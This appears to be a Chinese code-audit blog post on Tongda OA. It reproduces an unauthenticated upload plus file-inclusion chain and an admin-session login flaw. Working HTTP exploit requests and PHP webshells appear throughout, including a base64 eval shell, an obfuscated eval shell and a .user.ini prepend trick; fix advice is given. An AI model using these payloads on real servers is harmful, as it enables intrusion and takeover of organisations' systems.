4、通达OA代码审计

于 2024-03-04 15:31:34 发布
阅读量455 收藏 7
点赞数 9
分类专栏： php代码审计(二) 文章标签： 代码审计 php
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/YINZHE_/article/details/136453257
版权
文章详细描述了两个Web应用中的漏洞：一是文件上传漏洞配合文件包含可能导致webshell，通过构造POST请求上传恶意文件；二是任意用户登录漏洞，通过获取特定cookie实现未授权访问。文章还提供了相应的修复建议，强调了限制文件类型、监测文件内容、设置权限和使用白名单的重要性。
摘要由CSDN通过智能技术生成

一、文件操作

1、文件上传配合文件包含审计

文件上传首先确定存在漏洞的文件。和文件上传相关的函数比如upload。在从上到下分析构造的条件

在这里插入图片描述

1. 从 POST 请求中提取变量 P 的值。
2. 检查 P 是否已设置且不为空字符串。
3. 如果 P 已设置且非空，进入包含 "inc/session.php" 文件，然后设置会话 ID 为 P，启动一个会话
4. 如果 P 未设置或为空，则包含 "auth.php" 文件。

在这里插入图片描述

post提交获取TYPE、DEST_UID值
 DEST_UID=0就报错结束，不满足0就可以

在这里插入图片描述

有文件上传值大于等于1就会进入文件上传代码
upload不在第一个if，所以满不满足1都可以，都会执行。
如果没有检测到文件上传就提示，检测到就进if判断
判断文件大小可以控制

在这里插入图片描述

选择输出内容的模式

在这里插入图片描述

过滤是在upload里，过滤了后缀、文件名、大小等还有类名单验证
构造请求条件，要构造上传文件的表单

在这里插入图片描述

构造条件：
P=1 未授权
DEST_UID=1 进入逻辑
UOLOAD_MODE=1,2,3选择输出内容的模式
ATTACHMENT 就收文件上传的参数名

构造表单去触发upload文件比较快捷。

<html>
<body>
<form action="http://127.0.0.1/ispirit/im/upload.php" method="post" enctype="multipart/form-data">
<input type="text"name="P" value=1></input>
<input type="text"name="UPLOAD_MODE" value=1></input>
<input type="text" name="DEST_UID" value=1></input>
<input type="file" name="ATTACHMENT"></input>
<input type="submit" ></input>
</body>
</html>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

上传后输出上传的文件名但是路径不清楚，可以使用脚本监控

在这里插入图片描述

搜索文件包含函数

在这里插入图片描述

url不为空，值带/，判断general/不等于false为真并且ispirit/不等于false,条件为真才会包含
首要条件满足if（$json）

在这里插入图片描述
在这里插入图片描述

ispirit/interface/gateway.php?jaso{}$url=/general/../../attach/im/2401/1798777521.1.txt

在这里插入图片描述

包含文件不回显，可以上传一个图片马>内容是创建一个php文件


<?php
  $fn = fopen("2.php","w+");
  $st=base64_decode("PD9waHAgQGV2YWwoJF9QT1NUWycxMjM0NTYnXSk7cGhwaW5mbygpOz8+");
  $result = fwrite($fn,$st);
  fclose($fn);
?>

在这里插入图片描述

POST /ispirit/im/upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 2760
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryD9mijgm62VfQk6ny
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=1
Connection: close

------WebKitFormBoundaryD9mijgm62VfQk6ny
Content-Disposition: form-data; name="P"

1
------WebKitFormBoundaryD9mijgm62VfQk6ny
Content-Disposition: form-data; name="UPLOAD_MODE"

2
------WebKitFormBoundaryD9mijgm62VfQk6ny
Content-Disposition: form-data; name="DEST_UID"

1
------WebKitFormBoundaryD9mijgm62VfQk6ny
Content-Disposition: form-data; name="ATTACHMENT"; filename="m.jpg"
Content-Type: image/jpeg

ÿØÿà

上传图片马后访问

POST /ispirit/interface/gateway.php HTTP/1.1
Host: 192.168.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
Cookie: PHPSESSID=1

json={"url":"/general/../../attach/im/2401/999371338.m.jpg"}

在这里插入图片描述

POST /ispirit/interface/2.php HTTP/1.1
Host: 127.0.0.1
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

在这里插入图片描述

内容回显出来说明成功了，可以写个webshell的代码，用工具连接

在这里插入图片描述

2、文件上传配合文件包含webshell

漏洞条件

● 漏洞url: http://192.168.x.x/general/hr/manage/staff_info/update.php
● 漏洞参数：filename
● 是否存在限制： 
● 是否还有其他条件:USER_ID； name="ATTACHMENT"; filename="tongda.log"

复现

第一步上传恶意日志内容

POST /general/hr/manage/staff_info/update.php HTTP/1.1
Host: 192.168.x.x
Content-Length: 644
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5GZA3TTHKoMH9q6n
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.43.45/general/hr/manage/staff_info/staff_info.php?UID=15&USER_ID=chenqiang&DEPT_ID=4&FROM_DEPT_ID=4
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: USER_NAME_COOKIE=admin; OA_USER_ID=admin; PHPSESSID=g0jb13ldknhl5g3sr269v3phb2; SID_1=3ac19fa7
Connection: close

------WebKitFormBoundary5GZA3TTHKoMH9q6n
Content-Disposition: form-data; name="USER_ID"

../../general/reportshop/workshop/report/attachment-remark/tongda
------WebKitFormBoundary5GZA3TTHKoMH9q6n
Content-Disposition: form-data; name="BYNAME"


------WebKitFormBoundary5GZA3TTHKoMH9q6n
Content-Disposition: form-data; name="ATTACHMENT"; filename="tongda.log"
Content-Type: application/octet-stream

<?php class Gz5SfY10 { public function __construct($H7Es8){ @eval("/*Z7y11Eib8N*/".$H7Es8.""); }}new Gz5SfY10($_REQUEST['a']);?>
------WebKitFormBoundary5GZA3TTHKoMH9q6n
Content-Disposition: form-data; name="WORK_TYPE"

在这里插入图片描述

第二步包含文件

POST /general/hr/manage/staff_info/update.php HTTP/1.1
Host: 192.168.x.x
Content-Length: 537
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.43.45
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5GZA3TTHKoMH9q6n
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.43.45/general/hr/manage/staff_info/staff_info.php?UID=15&USER_ID=chenqiang&DEPT_ID=4&FROM_DEPT_ID=4
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: USER_NAME_COOKIE=admin; OA_USER_ID=admin; PHPSESSID=g0jb13ldknhl5g3sr269v3phb2; SID_1=3ac19fa7
Connection: close


------WebKitFormBoundary5GZA3TTHKoMH9q6n
Content-Disposition: form-data; name="USER_ID"

../../general/reportshop/workshop/report/attachment-remark/.user
------WebKitFormBoundary5GZA3TTHKoMH9q6n
Content-Disposition: form-data; name="BYNAME"


------WebKitFormBoundary5GZA3TTHKoMH9q6n
Content-Disposition: form-data; name="ATTACHMENT"; filename="config.ini"
Content-Type: application/octet-stream

auto_prepend_file=tongda.log
------WebKitFormBoundary5GZA3TTHKoMH9q6n
Content-Disposition: form-data; name="WORK_TYPE"

在这里插入图片描述

直接用工具链接

在这里插入图片描述

代码

获取用户上传的文件信息和临时文件名
如果不为空就代表用户已经上传了文件，设置为这个路径
检查文件或目录是否存在，如果路径上的目录不存在就创建一个新的目录
如果文件不存在会报错，存在则进如upload函数，进行验证上传的文件
td_copy-->is_uploadable对后缀做了限制

在这里插入图片描述
在这里插入图片描述

提取文件的名字、大小、错误码以及临时文件名。之后根据错误码进行不同的处理。检查文件后缀、文件名字符编码、非法字符等信息。没有检查文件内容

在这里插入图片描述
在这里插入图片描述

修复建议

1. 限制可上传文件类型，避免执行文件的上传。
2. 对上传文件内容进行监测以防夹带恶意代码。
3. 设置权限，上传文件目录不应执行脚本。
4. 使用文件包含机制时，避免直接包含用户输入的文件。可能的话，使用白名单机制限制可包含文件

二、任意用户登录

漏洞条件

● 漏洞url: http://192.168.x.x/logincheck_code.php
● 漏洞参数：cookie
● 是否存在限制： 
● 是否还有其他条件：需要先请求UID=1获取cookie

复现

使用脚本获取cookie

在这里插入图片描述

访问登录后的页面修改PHPSESSID=qg8g33n7fscd71hildomnh4m15;

在这里插入图片描述

代码

这里直接通过POST传入UID：

在这里插入图片描述

通过UID进行数据库的查询，并加以参数的赋值：
mysql> select * from USER where UID=1 \G;

在这里插入图片描述

因为UID=1是admin用户，所以这儿直接就是把admin的session给调了出来：

在这里插入图片描述

用burp测试，带入UID=1.就得到PHPSESSID，替换PHPSESSID即可。

修复建议

加强身份验证机制，如强化密码加密存储，加强参数验证，修复认证逻辑漏洞和使用安全的会话管理方式。
YINZHE_
关注
  • 9
    点赞
  • 踩
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
通达OAretrieve_pwd.php sql注入（含批量验证poc）
weixin_43567873的博客
04-09 191
通达OAretrieve_pwd.php sql注入（含批量验证poc）
通达OA2017
12-12
OA办公系统是一个网络智能办公系统，基于开房的互联网技术，可以使用微信或钉钉快速部署办公套件，为用户快速搭建一个集行政办公、统一通讯、移动办公、任务管理、知识管理等功能的网络智能办公平台，非常适合企事业单位使用。
通达OA开发平台基础知识
03-23
通达OA二次开发手册 通达OA二次开发手册 通达OA二次开发手册
通达OA流程中心接口文档
12-29
北京通达信科科技有限公司是中国兵器工业信息中心的全资子公司，简称通达信科。 是一支以管理软件研发、实施、服务与咨询为主营业务的高科技企业，隶属于世界500强企业中国兵器工业集团公司。 作为国内协同管理软件行业内唯一的央企单位，通达信科将自身定位于中国协同OA软件的领跑者， 中国优秀的云应用方案提供商。通达信科建立了一支以年轻博士、硕士、高级工程师为核心的专业技术团队， 具备雄厚的研发实力和强大的项目实施及售后服务能力，是一支素质卓越、服务热情、勤勉奋进的优秀科研团队。 一直以来，通达信科坚持秉承央企的信誉、外企的管理、民企的效率，通达信科人具备"能打大仗，敢打硬仗"的项目执行力， 是国内协同管理软件领域内鲜有的专家级领军团队。
通达OA使用手册（一）
通达OA二次开发 联系QQ2524837118
12-13 4418
第一章引言    1.1 编写目的    本用户使用手册目的是将通达 OA 系统的各类操作和功能加以描述，以指导  用户更快速正确的使用本系统。该手册分为以下几个部分：引言、功能介绍、管  理员手册、用户手册、OA 精灵使用手册和移动版 OA 精灵使用手册。    1.2 系统要求    1.2.1 硬件环境  硬
[ 代码审计 ] 通达OA审计文档.pdf
02-11
在代码审计中，我们需要注意到每个漏洞的出现原因和利用条件，通过分析源码来发现漏洞，然后使用相应的payload来进行漏洞复现。同时，我们也需要注意到漏洞的修复和更新，以避免这些漏洞的利用。 在实际的代码审计...
通达OA注册机破解版
05-05
通达OA注册机破解版.已经破解接触所有功能，为了支持正版没有只有25人授权
通达OA工作流升级流程中心.rar
04-22
通达OA（Tongda Office Automation）是一款广泛应用于企事业单位的办公自动化系统，它提供了丰富的功能，包括工作流管理。工作流是OA系统的核心部分，它帮助用户自动化处理日常业务流程，如审批、报销等。当系统需要...
通达OA2013增强版全部源码
06-19
通达OA2013增强版的全部源码被反编译，意味着我们可以看到原本被编译成机器语言的代码以人类可读的形式呈现，这对于学习其内部工作原理、查找和修复bug、或是扩展新功能来说，提供了极大的便利。 通达OA的核心功能...
通达OA header身份认证绕过漏洞利用工具
最新发布
12-25
通达OA header身份认证绕过漏洞利用脚本，可以检测漏洞是否存在并生成可用的cookie
仿通达OA完整源码
01-04
注意事项 1、开发环境为Visual Studio 2012，数据库为SQLServer2008R2，使用.net 4.0+开发。 2、管理员登陆名为：admin 密码：admin 3、默认数据库连接字符串在webconfig配置文件中修改 4、data文件夹中是数据库文件，附加即可
通达OA20180831最新已O版
09-17
通达OA201803最新已O版本！ 1.通达应用自建平台是一款以企业管理表格为模型、业务为驱动、决策为目标，设计和运行企事业单位各类管理信息系统的平台软件。 2.通过融合自建应用、工作流、业务流程平台以及各个内外部业务系统的数据，形成可视化的数据分析图表，为企业的综合管控提供数据支撑，加强企业决策能力，从而提升企业核心竞争力。 3.数据报表支持直观的图形化显示功能，能支持常见的如饼形图、直方图、散点图等。 4.通达的目标是帮助企事业单位以“平台+实施”的方式实现各类业务管理规范化、流程化，进而为管理层、决策层提供数据决策支持服务的工具平台。 5.流程、数据互联 灵活的流程步骤设置，每个步骤可以设置单独的条件和表单，可自主设计的表单，支持20余种控件，单据全部电子化，开放的流程审批能力，方便对接其他业务系统，应用+流程的有效结合，帮助企业快速落地信息化，数据互联，运营数据有效积累，帮助企业决策。 6.高效协同 行政办公，全面覆盖，降低运营成本，统一通讯，多终端消息同步，移动办公，随时随地处理工作事务，任务管理，分工、进度一目了然，考勤管理，灵活的考勤设置，手机打卡。 7.按需定制 周期短、零编码、成本低、风险小，报表和数据源的任意定制，工作流程和表单任意定制，应用和业务系统的任意定制，数据分析图谱的任意定制。 8.极致体验 T-OS应用、消息、协同一体化桌面，移动、PC终端精灵，精致易用，自动更新，自动备份，零成本运维。
通达OA-2017中文企业版
12-14
最新2017版通达OA精灵，方便用户下载使用，OA精灵便于安装及使用。
最新版通达OA2015集团版
02-12
下载官方原版，安装后用包内文件覆盖，然后使用注册文件进行注册，报表也用此注册文件注册！ 百分百可用，注册完可直接打官方补丁（无需进行再次破解） 好用的顶一下！谢谢！ 软件名称： Office Anywhere 2015 集团版 对应版本的说明 通达2015全新安装步骤： 1、到以下官网下载页下载OA2015最新版服务端安装包、用户PC端办公精灵、手机端 http://www.tongda2000.com/download/2015.php 2、安装OA到电脑或服务器或云主机 3、在OA服务管理器上关闭所有OA服务,并退出服务控制器monitor.exe。 4、把补丁包解压并把里面的文件拷贝覆盖到刚安装的OA相关目录 5、到D:\MYOA\BIN目录运行autoconfig.exe 检查： 6、到D:\MYOA\BIN目录运行OA服务控制中心monitor.exe 7、检查OA所有服务是否正常开启。 8、OA主机上打开浏览器，输入http://localhost 登录OA系统 更新OA缓存 9、登录OA后按F5刷新网页，到【系统管理】=》【系统资源管理】=》【系统缓存数据】=》更新系统缓存数据 正式使用时删除演示数据 10、到【系统管理】=》【系统资源管理】=》【演示数据清理】=》根据需要全删除或只删除单位、部门、用户、工作流。然后做一次第9步即可刷新单位、部门信息。
通达OA2017版30% 源码
01-17
Office Anywhere 2017版部分开放源代 通达OA2017版30% 源码
通达OA2019版本全功能
06-07 2336
链接来源： https://item.taobao.com/item.htm?spm=a2oq0.12575281.0.0.45e51debBlhtoz&ft=t&id=594395052494 通达OA（Office Anywhere网络智能办公系统）是由北京通达信科科技有限公司自主研发的协同办公自动化软件，是与中国企业管理实践相结合形成的综合管理办公平台。 通达OA为各行业不同规模的众多用户提供信息化管理能力，包括流程审批、行政办公、日常事务、数据统计分析、即时通讯、移动办公等，帮
通达OA V11.4漏洞 -代码审计
wuqingsix的博客
02-01 700
O A 版本：通达OA系统11.4测试环境：本地渗透工具PHPstorm、蚁剑1. 存在漏洞前台任意用户登录漏洞前台未授权访问漏洞管理后台文件上传漏洞后台SQL注入漏洞文件包含getshell根据提供的POC的代码分析，该漏洞涉及的文件包含以下四个文件：通达OA源码使用zend5加密，利用解密工具SeayDzend解密上述四个文件后分析源码。该文件用来获取codeuid参数，如果不存在，则会自动生成一个codeuid，并且将其写入。
小飞鱼通达二开 ERP发送通达OA消息接口开发（图文）
小飞鱼通达 二开
08-30 894
小飞鱼在最近遇到的一个开发项目中，需要将ERP中需要通知用户的消息发送到通达OA系统中，发送的消息带有url链接，用户点击消息中的链接会直接打开一个网页地址来查询相关数据，为了简化集成登录，erp这个链接已做开发只要通过用户名信息即可进行查询，安全方面则对来访地址做了限制。 经过开发，实现的效果如下： 网页端和精灵段都可以收到提醒的消息，默认都是从系统管理员发出的，当然也可以根据需要来指定消息发起人。这里对于通达OA不同版本的消息支持是有一些差异的，需要根据版本做些调整。 用户收到消息后，点击消息就可
通达oa wbupload.php,通达 OA 代码审计篇二 ：11.8 后台 Getshell
weixin_42513038的博客
03-11 500
作者：LoRexxar'@知道创宇404实验室日期：2021年3月9日前篇中提到的漏洞在11.8版本中被完全修复后，我痛定思痛，从头开始找一个新的漏洞，于是就有了今天这个漏洞的诞生，但没想到的是，在保留到2021年初时，1月11号更新的11.9版本中再次被定向修复。今天我们也来看看这一次的漏洞逻辑~在绕过之前在提到漏洞之前，首先我们需要清楚通达OA的几个关键机制。首先是通用文件，整个OA的大部分文...
通达oa修改代码关闭功能
12-22
通达OA是一款办公自动化软件，它可以帮助企业管理日常的办公事务，提高工作效率。通达OA允许用户根据自己的实际需求进行定制和修改。如果要关闭通达OA的某个功能，可以通过以下步骤来进行操作： 首先，登录通达OA系统的管理员账号，并进入系统设置页面。 其次，找到需要关闭的功能对应的模块或页面，并点击进入。 然后，在该页面中找到相应的设置选项，通常会有一个开关按钮来控制该功能的开启和关闭。 最后，将开关按钮设为关闭状态，并保存修改即可。 需要注意的是，在修改和关闭通达OA功能之前，最好提前备份好数据，以防意外情况发生。 另外，如果对通达OA功能的修改有专业性要求，建议联系通达OA的技术支持团队或相关服务商进行沟通和协助，以确保修改的安全和稳定性。 总的来说，通达OA修改代码关闭功能并不是复杂的操作，但在进行操作时需要谨慎小心，以免影响系统的正常运行。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值